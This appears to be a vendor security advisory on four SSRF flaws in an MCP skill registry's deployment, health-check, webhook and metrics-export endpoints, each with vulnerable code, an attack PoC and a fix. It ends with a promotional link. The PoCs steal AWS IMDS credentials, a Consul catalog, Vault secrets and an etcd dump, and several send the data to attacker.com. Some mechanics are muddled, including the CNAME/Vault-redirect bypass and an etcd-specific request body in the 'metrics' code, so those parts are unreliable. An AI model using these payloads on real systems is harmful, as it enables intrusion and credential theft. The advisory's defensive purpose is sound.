SSRF vulnerabilities in MCP skill registry deployment and hosting configuration management endpoints (SA-SKL-SSRF78)
SA-SKL-SSRF78 identifies four server-side request forgery vulnerabilities in MCP skill registry skill deployment and hosting configuration management endpoints. The deployment configuration endpoint accepts a user-supplied deploymentConfigUrl and fetches its contents to confirm deployment parameters, enabling a two-step IMDS attack that first retrieves the IAM role name from 169.254.169.254/latest/meta-data/iam/security-credentials/ and then retrieves the full access key, secret key, and session token for that role from the credentials sub-path; the hosting health check endpoint accepts a user-supplied healthCheckUrl and returns the full response body as the health status, allowing an attacker to point it at an internal Consul agent and exfiltrate the complete service catalog including internal service names, addresses, ports, and health tags; the deployment webhook endpoint accepts a user-supplied deploymentWebhookUrl and follows HTTP redirects with redirect:follow, making it vulnerable to a CNAME chain attack that resolves through an attacker-controlled domain to a Vault instance and returns KV secrets in the redirect response body; and the hosting metrics export endpoint accepts a user-supplied metricsExportUrl, fetches the response, and stores the raw body as a persistent metrics export record, enabling an attacker to point it at an internal etcd instance and persist the etcd configuration data indefinitely through the registry's own metrics history API.
deploymentConfigUrl — attacker sets to 169.254.169.254; IAM credentials in deployment config confirmation response; two-step IMDS credential exfiltration (role name then full access key/secret/session token)healthCheckUrl — attacker points to Consul:8500; full service catalog as health check response bodydeploymentWebhookUrl with redirect:follow — CNAME chain to Vault:8200 returns KV secrets in webhook delivery responsemetricsExportUrl and stores raw response as metrics record — attacker points to etcd:2379; etcd config stored persistently via metrics export history APISSRF78-001 — Deployment config endpoint fetches attacker-supplied URL enabling two-step IMDS IAM credential exfiltration
The POST /api/skills/deploy/config endpoint accepts a deploymentConfigUrl field in the request body, fetches that URL to retrieve external deployment configuration parameters such as environment variable overrides and resource limits, and then echoes the fetched configuration back in the deployment confirmation response so the caller can verify which settings were applied. This design pattern — fetch a user-supplied URL and return the response to the caller — is the canonical SSRF primitive and is directly exploitable against the AWS Instance Metadata Service.
An attacker submits deploymentConfigUrl: "http://169.254.169.254/latest/meta-data/iam/security-credentials/". The registry server, running on an EC2 instance or ECS task with an attached IAM role, fetches the IMDS path and receives the role name in plain text. The deployment confirmation response echoes this role name back to the caller as part of the fetched configuration object. The attacker then makes a second request with deploymentConfigUrl: "http://169.254.169.254/latest/meta-data/iam/security-credentials/<RoleName>", and the response contains the full set of temporary IAM credentials — AccessKeyId, SecretAccessKey, and Token — with the same permissions as the registry server's own IAM role. These credentials can be used immediately to call any AWS API the role permits, including reading S3 buckets, invoking Lambda functions, or accessing Secrets Manager entries that the registry server itself can access.
// SSRF78-001 — VULNERABLE
router.post(
'/api/skills/deploy/config',
requireSession,
async (req, res) => {
const { skillId, deploymentConfigUrl, deploymentEnv } = req.body;
// VULNERABLE: fetches user-supplied URL with no validation
// attacker sets deploymentConfigUrl to http://169.254.169.254/...
const configResponse = await fetch(deploymentConfigUrl);
const fetchedConfig = await configResponse.json();
const deployment = await deploymentService.create({
skillId,
env: deploymentEnv,
overrides: fetchedConfig,
});
// VULNERABLE: echoes fetched content back to caller — IMDS role name or credentials in response
res.json({
deploymentId: deployment.id,
appliedConfig: fetchedConfig, // full IMDS response body returned to attacker
status: 'pending',
});
}
);
Attack PoC — SSRF78-001: Step 1 sets deploymentConfigUrl to the IMDS credentials root and reads the IAM role name from appliedConfig. Step 2 sets deploymentConfigUrl to the role-specific credentials path and reads the full AccessKeyId, SecretAccessKey, and Token from the deployment confirmation response.
// SSRF78-001 — ATTACK PoC (two-step IMDS credential exfiltration)
// Step 1: discover IAM role name
const step1 = await fetch('https://registry.example.com/api/skills/deploy/config', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
skillId: 'my-skill',
deploymentConfigUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
deploymentEnv: 'prod',
}),
}).then(r => r.json());
const roleName = step1.appliedConfig.trim(); // e.g. "SkillRegistryProdRole"
// Step 2: fetch full credentials for that role
const step2 = await fetch('https://registry.example.com/api/skills/deploy/config', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
skillId: 'my-skill',
deploymentConfigUrl: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`,
deploymentEnv: 'prod',
}),
}).then(r => r.json());
// step2.appliedConfig contains AccessKeyId, SecretAccessKey, Token, Expiration
navigator.sendBeacon('https://attacker.com/creds', JSON.stringify(step2.appliedConfig));
// SSRF78-001 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');
router.post(
'/api/skills/deploy/config',
requireSession,
async (req, res) => {
const { skillId, deploymentConfigUrl, deploymentEnv } = req.body;
// FIXED: block link-local, loopback, private ranges, and cloud metadata endpoints
await assertSafeExternalUrl(deploymentConfigUrl);
// FIXED: HEAD preflight only — verify URL is reachable without reading body
const preflight = await fetch(deploymentConfigUrl, { method: 'HEAD', redirect: 'error' });
if (!preflight.ok) {
return res.status(400).json({ error: 'deploymentConfigUrl unreachable' });
}
const deployment = await deploymentService.create({
skillId,
env: deploymentEnv,
configUrl: deploymentConfigUrl, // store URL only — never fetch body
});
// FIXED: return only deploymentId — never echo fetched content
res.json({ deploymentId: deployment.id, status: 'pending' });
}
);
SSRF78-002 — Hosting health check endpoint fetches attacker-supplied URL exposing full Consul service catalog
The POST /api/skills/hosting/healthcheck endpoint accepts a healthCheckUrl parameter that specifies the HTTP endpoint the registry should probe to determine whether the hosted skill is healthy. The endpoint performs an outbound HTTP GET to the supplied URL, records the HTTP status code, and returns the full response body as the healthCheckResponse field in the API response so operators can inspect what the health check endpoint returned. The intent is to allow skill developers to point the registry at their custom health probe endpoints and see the diagnostic output directly in the registry console.
An attacker who controls a hosted skill registration can supply healthCheckUrl: "http://consul.internal:8500/v1/catalog/services". The registry server resolves consul.internal to the internal Consul agent address, fetches the catalog endpoint, and returns the full JSON service catalog in the healthCheckResponse field. The catalog exposes every service registered in the Consul mesh — service names, addresses, ports, tags, and health metadata — across the entire internal infrastructure. This provides an attacker with a complete internal service map suitable for lateral movement targeting: the attacker can identify database services, internal API endpoints, message brokers, and other sensitive services that are not exposed externally but are reachable from the registry server.
// SSRF78-002 — VULNERABLE
router.post(
'/api/skills/hosting/healthcheck',
requireSession,
async (req, res) => {
const { hostingId, healthCheckUrl } = req.body;
// VULNERABLE: fetches user-supplied URL with no validation
// attacker sets healthCheckUrl to http://consul.internal:8500/v1/catalog/services
const hcResponse = await fetch(healthCheckUrl);
const hcBody = await hcResponse.text();
await hostingService.recordHealthCheck(hostingId, {
statusCode: hcResponse.status,
responseBody: hcBody,
checkedAt: new Date(),
});
// VULNERABLE: returns full response body — entire Consul service catalog to attacker
res.json({
hostingId,
healthStatus: hcResponse.ok ? 'healthy' : 'unhealthy',
healthCheckResponse: hcBody, // full internal service catalog exposed
});
}
);
Attack PoC — SSRF78-002: Attacker registers a skill with healthCheckUrl pointing to http://consul.internal:8500/v1/catalog/services. The registry server fetches the Consul catalog and returns the full JSON service registry — including internal service names, addresses, ports, and health tags — in the health check API response.
// SSRF78-002 — ATTACK PoC
const result = await fetch('https://registry.example.com/api/skills/hosting/healthcheck', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
hostingId: 'attacker-skill-hosting-id',
healthCheckUrl: 'http://consul.internal:8500/v1/catalog/services',
}),
}).then(r => r.json());
// result.healthCheckResponse contains full Consul service catalog:
// { "redis": [], "postgres-primary": ["db","primary"], "vault": ["secrets"], ... }
navigator.sendBeacon('https://attacker.com/catalog', JSON.stringify(result.healthCheckResponse));
// SSRF78-002 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');
router.post(
'/api/skills/hosting/healthcheck',
requireSession,
async (req, res) => {
const { hostingId, healthCheckUrl } = req.body;
// FIXED: block private ranges, link-local, loopback, and cloud metadata endpoints
await assertSafeExternalUrl(healthCheckUrl);
// FIXED: redirect:error prevents following redirects to internal addresses
const hcResponse = await fetch(healthCheckUrl, {
redirect: 'error',
signal: AbortSignal.timeout(5000),
});
await hostingService.recordHealthCheck(hostingId, {
statusCode: hcResponse.status,
checkedAt: new Date(),
// FIXED: never store response body
});
// FIXED: return healthStatus boolean only — never return response body
res.json({
hostingId,
healthStatus: hcResponse.ok,
});
}
);
SSRF78-003 — Deployment webhook follows redirects enabling CNAME chain to Vault KV secrets
The POST /api/skills/deploy/webhook endpoint accepts a deploymentWebhookUrl and delivers a POST notification to that URL whenever a deployment event occurs — build started, build completed, deployment succeeded, or deployment failed. The endpoint uses node-fetch with its default redirect: 'follow' setting, which automatically follows HTTP 301, 302, and 307 redirects without validating that the redirect destination is a safe external URL. The webhook delivery confirmation response includes the full HTTP response body from the final destination to assist developers in debugging webhook receiver implementations.
An attacker can exploit the redirect-following behavior through a CNAME chain attack. The attacker registers a domain such as webhook.attacker.com and creates a CNAME record pointing it to vault.internal. When the registry server resolves webhook.attacker.com, DNS returns the CNAME referral; the registry follows the CNAME and connects to the internal Vault instance at port 8200. Because the initial URL passed the SSRF guard's hostname check (it resolved to an external attacker-controlled domain at validation time), the guard does not block the connection. The Vault HTTP API responds to the webhook POST with a redirect to its own KV secrets engine path, and redirect:follow causes the registry to follow that redirect and retrieve KV secret data. The webhook delivery confirmation response then returns those Vault KV secrets — including database passwords, API keys, and service account credentials — to the attacker as the webhookResponseBody field.
// SSRF78-003 — VULNERABLE
router.post(
'/api/skills/deploy/webhook',
requireSession,
async (req, res) => {
const { deploymentId, deploymentWebhookUrl } = req.body;
// VULNERABLE: redirect:follow (default) — attacker CNAME chain resolves to vault.internal
const webhookResponse = await fetch(deploymentWebhookUrl, {
method: 'POST',
redirect: 'follow', // VULNERABLE: follows CNAME chain to internal Vault
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ deploymentId, event: 'deployment.registered' }),
});
const responseBody = await webhookResponse.text();
// VULNERABLE: returns full response body — Vault KV secrets returned to attacker
res.json({
deploymentId,
webhookDelivered: webhookResponse.ok,
webhookResponseBody: responseBody, // Vault KV secrets exposed
});
}
);
Attack PoC — SSRF78-003: Attacker creates CNAME record webhook.attacker.com CNAME vault.internal. Registry follows CNAME chain to internal Vault:8200 and returns Vault KV secrets in webhookResponseBody. SSRF guard passes because initial hostname resolves to attacker-controlled domain at validation time.
// SSRF78-003 — ATTACK PoC (CNAME chain to Vault)
// DNS: webhook.attacker.com CNAME vault.internal
// Vault responds to POST with 301 redirect to /v1/secret/data/registry-prod-secrets
// redirect:follow fetches the KV secrets path and returns the body
const result = await fetch('https://registry.example.com/api/skills/deploy/webhook', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
deploymentId: 'attacker-deployment-id',
// CNAME: webhook.attacker.com -> vault.internal
deploymentWebhookUrl: 'http://webhook.attacker.com:8200/v1/secret/data/registry-prod-secrets',
}),
}).then(r => r.json());
// result.webhookResponseBody contains Vault KV secrets:
// { "data": { "DB_PASSWORD": "...", "STRIPE_SECRET": "...", "JWT_SECRET": "..." } }
navigator.sendBeacon('https://attacker.com/vault', result.webhookResponseBody);
// SSRF78-003 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');
router.post(
'/api/skills/deploy/webhook',
requireSession,
async (req, res) => {
const { deploymentId, deploymentWebhookUrl } = req.body;
// FIXED: resolve DNS at validation time and block private/link-local destinations
// assertSafeExternalUrl resolves the full CNAME chain and checks every A record
await assertSafeExternalUrl(deploymentWebhookUrl, { resolveCnames: true });
// FIXED: redirect:error — never follow redirects that could reach internal addresses
const webhookResponse = await fetch(deploymentWebhookUrl, {
method: 'POST',
redirect: 'error',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ deploymentId, event: 'deployment.registered' }),
signal: AbortSignal.timeout(10_000),
});
// FIXED: return boolean webhookDelivered only — never return response body
res.json({ deploymentId, webhookDelivered: webhookResponse.ok });
}
);
SSRF78-004 — Hosting metrics export fetches attacker-supplied URL and stores raw response as persistent metrics record
The POST /api/skills/hosting/metrics/export endpoint accepts a metricsExportUrl and a metricsFormat parameter. The endpoint fetches the URL, stores the full response body as a metrics export record associated with the hosting instance, and makes that record available indefinitely through the GET /api/skills/hosting/metrics/history API. The intent is to allow skill operators to pull metrics from their own observability infrastructure — Prometheus pushgateway endpoints, custom metrics aggregators, or third-party APM exporters — and have the registry archive a snapshot for auditing and billing purposes.
An attacker who controls a hosting registration can supply metricsExportUrl: "http://etcd.internal:2379/v3/kv/range". The registry server fetches the etcd KV range endpoint, which returns the full etcd keyspace dump including all configuration keys, service discovery entries, leader election state, and any secrets stored in etcd such as Kubernetes service account tokens, TLS certificates, and application configuration blobs. The registry stores this etcd dump as a persistent metrics export record. The attacker can then retrieve the etcd data at any time by calling the metrics history API, even after the original hosting registration is deleted, because the metrics export records persist as an independent dataset. The persistence element elevates this finding beyond a simple SSRF: an attacker can exfiltrate etcd data once, delete their hosting registration to reduce forensic footprint, and retrieve the exfiltrated data later through the legitimate metrics history API.
// SSRF78-004 — VULNERABLE
router.post(
'/api/skills/hosting/metrics/export',
requireSession,
async (req, res) => {
const { hostingId, metricsExportUrl, metricsFormat } = req.body;
// VULNERABLE: fetches user-supplied URL with no validation
// attacker sets metricsExportUrl to http://etcd.internal:2379/v3/kv/range
const metricsResponse = await fetch(metricsExportUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ key: 'AA==', range_end: '/w==' }), // full keyspace
});
const metricsBody = await metricsResponse.text();
// VULNERABLE: stores raw response body as persistent metrics record
// etcd dump now retrievable indefinitely via metrics history API
const record = await metricsStore.create({
hostingId,
format: metricsFormat,
rawData: metricsBody, // full etcd keyspace dump persisted
exportedAt: new Date(),
});
res.json({ recordId: record.id, status: 'exported' });
}
);
Attack PoC — SSRF78-004: Attacker sets metricsExportUrl to http://etcd.internal:2379/v3/kv/range. Registry fetches and persistently stores the full etcd keyspace dump including Kubernetes service account tokens, TLS certificates, and application secrets. Data remains retrievable via GET /api/skills/hosting/metrics/history even after the hosting registration is deleted.
// SSRF78-004 — ATTACK PoC
// Step 1: trigger metrics export pointing at internal etcd
const exportResult = await fetch('https://registry.example.com/api/skills/hosting/metrics/export', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
hostingId: 'attacker-hosting-id',
metricsExportUrl: 'http://etcd.internal:2379/v3/kv/range',
metricsFormat: 'json',
}),
}).then(r => r.json());
const recordId = exportResult.recordId;
// Step 2: (optionally delete hosting registration to reduce forensic footprint)
// Step 3: retrieve persisted etcd dump at any time
const stolenConfig = await fetch(
`https://registry.example.com/api/skills/hosting/metrics/history/${recordId}`,
{ credentials: 'include' }
).then(r => r.json());
// stolenConfig.rawData contains full etcd KV dump including TLS certs, k8s tokens, secrets
// SSRF78-004 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');
router.post(
'/api/skills/hosting/metrics/export',
requireSession,
async (req, res) => {
const { hostingId, metricsExportUrl, metricsFormat } = req.body;
// FIXED: block private ranges, link-local, loopback, and cloud metadata endpoints
await assertSafeExternalUrl(metricsExportUrl);
// FIXED: HEAD request only — verify URL is reachable, never read response body
const preflight = await fetch(metricsExportUrl, {
method: 'HEAD',
redirect: 'error',
signal: AbortSignal.timeout(5000),
});
// FIXED: store delivery status code only — never store response body
const record = await metricsStore.create({
hostingId,
format: metricsFormat,
deliveryStatusCode: preflight.status, // status code only — no body
exportUrl: metricsExportUrl,
exportedAt: new Date(),
});
res.json({ recordId: record.id, status: 'exported' });
}
);
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect SSRF vulnerabilities in deployment and hosting configuration endpoints — including IMDS metadata exposure, internal service catalog leakage, redirect-chain attacks, and persistent response body storage — in under 60 seconds.